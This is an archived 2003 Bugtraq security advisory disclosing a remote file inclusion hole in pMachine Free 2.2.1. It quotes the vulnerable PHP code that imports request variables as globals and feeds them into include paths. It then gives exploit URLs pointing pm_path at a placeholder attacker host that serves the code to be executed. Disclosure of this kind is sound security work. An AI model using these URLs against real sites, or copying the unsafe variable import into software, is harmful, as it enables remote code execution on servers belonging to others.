bugtraq - pMachine (PHP) : Include() Security Hole

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Sat, 14 Jun 2003 18:48:08 +0200
From: "Frog Man" <leseulfrog@...mail.com>
To: bugtraq@...urityfocus.com, vulnwatch@...nwatch.org
Subject: pMachine (PHP) : Include() Security Hole


Informations :
°°°°°°°°°°°°°
Language : PHP
Version : Free 2.2.1
Website : http://www.pmachine.com
Problem : Include() Security Hole


PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
This will work if register_globals is ON *OR* OFF.
/pm/lib.inc.php :
-------------------------------------------------------------
if (isset($HTTP_COOKIE_VARS))
{
   while(list($var,$val)=each($HTTP_COOKIE_VARS))
   {
       $$var=$val;
   }
}
if (isset($HTTP_GET_VARS))
{
   while(list($var,$val)=each($HTTP_GET_VARS))
   {
       $$var=$val;
   }
}
if (isset($HTTP_POST_VARS))
{
   while(list($var,$val)=each($HTTP_POST_VARS))
   {
       $$var=$val;
   }
}
if (isset($HTTP_SERVER_VARS))
{
   while(list($var,$val)=each($HTTP_SERVER_VARS))
   {
       $$var=$val;
   }
}

include ("{$pm_path}config$sfx");

if ($debug == 1)
   error_reporting(E_ALL);
else
   error_reporting(E_ALL ^ E_NOTICE ^ E_WARNING);

include ("{$pm_path}db/db.$database$sfx");
include ("{$pm_path}db/db.tables$sfx");
include ("{$pm_path}lib/pmcode.fns$sfx");
include ("{$pm_path}lib/archives.fns$sfx");
include ("{$pm_path}lib/benchmark.class$sfx");
include ("{$pm_path}lib/birthday.fns$sfx");
include ("{$pm_path}lib/calendar.fns$sfx");
include ("{$pm_path}lib/category.fns$sfx");
include ("{$pm_path}lib/censor.fns$sfx");
include ("{$pm_path}lib/comment.fns$sfx");
include ("{$pm_path}lib/deprecated.fns$sfx");
include ("{$pm_path}lib/email.fns$sfx");
include ("{$pm_path}lib/encoded.email$sfx");
include ("{$pm_path}lib/forum.fns$sfx");
include ("{$pm_path}lib/hitcounter.fns$sfx");
include ("{$pm_path}lib/hittracking.fns$sfx");
include ("{$pm_path}lib/ip.fns$sfx");
include ("{$pm_path}lib/linking.fns$sfx");
include ("{$pm_path}lib/mailinglist.fns$sfx");
include ("{$pm_path}lib/member.fns$sfx");
include ("{$pm_path}lib/memberfiles$sfx");
include ("{$pm_path}lib/message.fns$sfx");
include ("{$pm_path}lib/minicalendar.fns$sfx");
include ("{$pm_path}lib/password.fns$sfx");
include ("{$pm_path}lib/pblock.fns$sfx");
include ("{$pm_path}lib/search.fns$sfx");
include ("{$pm_path}lib/shared.fns$sfx");
include ("{$pm_path}lib/stats.fns$sfx");
include ("{$pm_path}lib/tellafriend.fns$sfx");
include ("{$pm_path}lib/timelock.fns$sfx");
include ("{$pm_path}lib/weblog.fns$sfx");
include ("{$pm_path}cp/xmlparser$sfx");
include ("{$pm_path}cp/rss.cp$sfx");
include ("{$pm_path}xmlrpc/ping.fns$sfx");
include ("{$pm_path}xmlrpc/xmlrpc.inc");
---------------------------------------------------------------------


Exploit :
°°°°°°°
http://[target]/pm/lib.inc.php?pm_path=http://[attacker]/&sfx=.txt with :
http://[attacker]/config.txt
or
http://[target]/pm/lib.inc.php?pm_path=http://[attacker]/&sfx=/badcode.txt 
with :
http://[attacker]/config/badcode.txt

etc...


Patch :
°°°°°°°
A patch can be found on http://www.phpsecure.info.


More Details In French :
°°°°°°°°°°°°°°°°°°°°°°
http://www.frog-man.org/tutos/pMachineFree2.2.1.txt

_________________________________________________________________